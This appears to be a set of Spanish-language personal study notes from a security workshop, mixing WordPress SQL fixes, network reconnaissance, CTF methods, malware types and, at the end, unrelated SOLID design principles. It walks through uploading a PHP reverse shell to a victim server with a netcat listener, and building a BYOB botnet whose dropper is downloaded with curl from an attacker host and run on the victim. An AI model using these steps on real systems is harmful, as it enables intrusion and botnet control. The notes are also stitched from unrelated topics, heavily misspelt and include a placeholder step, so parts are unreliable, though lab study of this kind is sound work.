Tabla de Contenidos

burpsuite

Aplicación web para probar vulnerabilidades típicas:

Pruebas hechas en el taller con DVWA:

UPDATE wp_options SET option_value = REPLACE (option_value, 'satproduccion.mundo-r.com', 'satproduccion.ddns.net');
UPDATE wp_posts SET guid = REPLACE (guid, 'satproduccion.mundo-r.com', 'satproduccion.ddns.net');
UPDATE wp_posts SET post_content = REPLACE (post_content, 'satproduccion.mundo-r.com', 'satproduccion.ddns.net');
UPDATE wp_postmeta SET meta_value = REPLACE (meta_value, 'satproduccion.mundo-r.com', 'satproduccion.ddns.net');

IoT

Mecanismos de defensa:

Tipos de redes según tamaño

Otra tipología de redes

TCP 3-way handshake

Forma de establecer la comunicación en TCP.

Si un puerto está abierto:

  1. SYN
  2. SYN/ACK
  3. RST/ACK

Si está cerrado

Si está filtrado:

Fases de un ciberataque

Ciclo de vida de un ataque a un sistema:

  1. Identificacion del objetivo
  2. Análisis de puertos y servicios
  3. Análisis de vulnerabilidades
  4. Explotación de vulnerabilidades.
  5. Post-explotación del sistema

Reconocimiento

https://www.osi.es/es/sertvicio-antibotnet

Ejemplo acceder a máquina Linux vía SSH

Bases de datos vulnerabilidades

Son bases de datos públicas:

Capture the flag

CTF (capturar la bandera) son un tipo de competiciones de seguridad informática que generalmente se realizan de forma online, orientadas tanto para aprendices como para expertos en seguridad. El objetivo final es vulnerar el sistema normalmente capturando una flag o bandera que suele consistir en obtener un hash dentro de un fichero de texto: flag{asdfy788a6fa54s67dfasdf45656}

Finalidad:

Categorías y habilidades de un CTF:

Entrenamientos:

Herramientas y técnicas

Reconocimiento de la red

Averiguamos la información de la red a la que estamos conectados:

ifconfig

Si no está disponble ese comando, entonces se puede usar:

ip a

Hacemos un escaneo rápido de la red:

nmap -sn 192.168.0.0/24

Con un objetivo, hacemos un escaneo de puertos para obtener más información sobre posibles servicios que haya tras ellos:

nmap -sV 192.168.0.70

Escaneo de puertos

Enumeración de directorios y ficheros mediante DIRB

DIRB es una aplicación creada para realizar fuerza bruta contra directorios y archivos localizados en un servidor web/aplicación. Se puede seleccionar un diccionario de nombres de directorios comunes para la búsqueda de archivos y directorios existentes u ocultos

dirb <url> [<ruta_diccionario>]

En Kali viene por defecto un diccionario de directorios comunes: /usr/share/worldlists/dirb/common.txt:

dirb http://192.168.0.70 /usr/share/worldlists/dirb/common.txt

En ese momento, dirb usará las palabras en el diccionario para intentar encontrar algún directorio accesible de la web que le pasamos.

Una alternativa a esta herramienta es Gobuster.

Enumeración manual de ficheros

Revisión de código fuente de páginas web mediante curl

Además de ver el código fuente desde el propio navegador, se puede usar la herramienta de línea de comandos curl:

curl http://192.168.0.70

Descarga del contenido en un fichero:

curl -O fichero.html http://192.168.0.70/index.html

Definición y configuración de payloads

Un payload es un código malicioso que ha sido introducido en un programa o fichero legítimo para que cuando un usuario lo ejecute, se pueda obtener el control de la máquina. Para ello, será necesario subir un payload a la máquina objetivo o atacada, y quedarse escuchando en el puerto asociado al payload desde la máquina atacante.

Kali contiene una lista de payloads disponibles por defecto: /usr/share/webshells.

En la práctica configuramos /usr/share/webshells/php/php-reverse-shell.php y lo subimos al servidor víctima (ver obtención de shell reverse).

En los payloads normalmente hay que configurar la dirección IP de la máquina atacante y un puerto TCP de ella.

Definición y uso de listeners

Un listener es un proceso el cual está a la escucha o espera de una conexión desde la máquina que estamos atacando.

nc -nlvp 4444

Obtención de una reverse shell

Un shell es el término que se le da a la obtención de una consola (Linux o Windows) en un ordenador remoto. Es uno de los principales objetivos para un atancante. El atancante obtiene una conexión directa al entorno de red.

Reverse shell: mientras que un firewall no permite conexiones entrantes no autorizadas, normalmente la red interna es clasificada como confiable y esto significa que permite las conexiones desde dentro hacia afuera de una manera menos estricta o más permisiva con este tipo de conexiones. La posibilidad de subir un payload a la máquina atacada puede otorgarnos una shell reversa.

En el momento en que ejecutemos (accediendo al payload a través del navegador web a la dirección de la víctima) el payload en la máquina víctima con el payload de shell inversa, en netcat veremos que estamos dentro del servidor víctima.

Es decir, para ejecutar la shell inversa, tendríamos que acceder a http://192.168.0.70/uploaded_files/php-reverse-shell.php, donde 192.168.0.70 es la IP víctima y php-reverse-shell.php es un fichero que hemos subido que nos creará una shell inversa.

Uso de grep y find para búsquedas de ficheros/directorios

grep -ir prueba / -- exclude-dir=/etc

Se busca prueba en todos los ficheros del sistema, excluyendo los que están dentro del directorio /etc

find es un comando utilizado en sistemas Unix para encontrar y filtrar archivos en Linux:

find <directorio> <optiocnes> <terminos busqueda>

Mi ordenador es un zombie

Filtraciones de contraseñas:

Avisos de vulnerabilidades de 0-day:

Ciclo de vida de una botnet

Virus

El virtus es ui tipo específico de malware. Es común llamar “virus” al ¡malware, pero en realidad es solo uun subconjkunt

Su nombre viene por su parecido a los virus reales (infección y propagaci´ñon). Para su propagación necesitanb que cierta interacción por parte del usuario

Gusanos

Los gusanos, habitaulmetnte lamados worms, son programas maliciosos que se porpagan por la red de forma automática. Se transmiten explotante vunerabilidaes de los sistemas sin que el usuario tenga que interactuar con ellos de ninguna manera. Este tipo de malware es habitaual en teléfonos,. ya quye este tipo de dispositivo conectado es idóneo para una porpagación r´´ñaiuda

Un gusano muy famoso, Stuxnet, es un malware supuestamente desarrollado por Israel y Estados unidos diseñado para infectar infraestructuras críticas que infecxtó a 60.000 equipos en irán.

Otro ejemplo es el virus “I love you” que se propagaba por e-mail e iba borrando y sobrescribiendo ficheros en sus víctimas.

Troyanos

Un troyano o caballo de Troya es un programa malicioso (mnalware) que se presenta al usuario como un programa aparentemente inofesnivo. El término proviene de la Odisea de Homero.

Botnet

Una botnet es una red de ordenadores infecdtados controlados por un ciberledincuente.

Los ordenadores infectados obedecerán a las órdenes del ciberdelincuente, de forma que éste dispone de un “ejército” de ordenadores listso para realizar operaciones maliciosas en >Internet en cualquier mopmento.

Ciclo de vida:

  1. Infección__:: el atacante infecta ordenadores personales opr medio de troyanos
  2. asdfadf
  3. Una tercera parte malintencionada compra acceso a la botnet para realizaar acciones maliciosas (ddos, spam ,fraude de clicks…)
  4. Se lanza el ataque distrubuido.

Ejemplo de botnet:

https://www.incibe.es/protege-tu-empresa/herramientas/servicio-antibotnet

Construyendo una botnet

Utilizaremos byob

En el servidor (el atacante):

python3 client.py --name mibot.py <IP_ATACANTE> <PUERTO_ESCUCHA>

Se generarán varios ficheros, pero el que más nos interesa es modules/clients/droppers/mibot.py. Este fichero es el que hay que distribuir a las víctimas para que lo ejecutase.

Servidor web básico en Python:

python3 -m http.server 8080

Como estamos de prueba, en la víctima nos descargamos el fichero malicioso:

curl http://192.168.0.20:8080/mibot.py -o mibot.py

Lanzamos el servidor que va a escuchar a la víctima:

python3 server.py --port <PUERTO_ESCUCHA>

En la víctima ejecutamos el malware:

python3 mibot.py

En el servidor veremos que se ha establecido una conexión:

Uncle Bob SOLID principles

Las bases de la programación orientada a objetos son:

La programación orientada a objetos va sobre la gestión de dependencias en el código para que se pueda prevenir:

Principios SOLID, principios de diseño de clases:

Los principios de diseño SOLID son principios, no reglas. Es mejor usar el sentido común cuando se aplica SOLID. SOLID es una herramienta, no el objetivo.

Single Responsibility Principle

Una clase debería tener una y solo una única razón para cambiar.

La palabra responsabilidad no quiere decir función o lo que hace la clase. La palabra responsabilidad se refiere al cambio.

Si una clase tiene más de un motivo para cambiar, estaría violando este principio.

En resumen, no pongas funciones que cambian por diferentes razones en la misma clase.

Open/Closed Principle

Los módulos deberían estar abiertos a la extensión, pero cerrados a la modificación.

Esto quiere decir que deberías poder modificar lo que hace un módulo sin cambiar el módulo. Cambiar el comportamiento del módulo, sin cambiar el módulo.

Extiende la funcionalidad añadiendo nuevo código en lugar de cambiar el exsitente.

Separa comportamientos para que el sistema pueda ser fácilmente extensible, pero no pueda romperse.

El objetivo es llegar a un punto donde nunca podrás romper el núcleo (core) de tu sistema.

Liskov Substitution Principle

Las clases derivadas deben ser usables a través de la interfaz de base sin necesidad de que el usuario sepa la diferencia.

The Interface Segregation Principle

Ningún cliente debería ser forzado a depender de métodos que no usa.

Cambiar un método en una clase no debería afectar a clases que no dependen de él.

Reemplazar interfaces demasiado populadas por varias pequeñas, pero específicas interfaces.

The Dependency Inversion Principle

Los módulos de alto nivel no deberían depender de módulos de bajo nivel. Ambos deberían depender de abstracciones.

Nunca dependas de algo concreto, solo de las abstracciones.

Hay que ser capaz de modificar una implementación fácilmente sin alterar el código de alto nivel.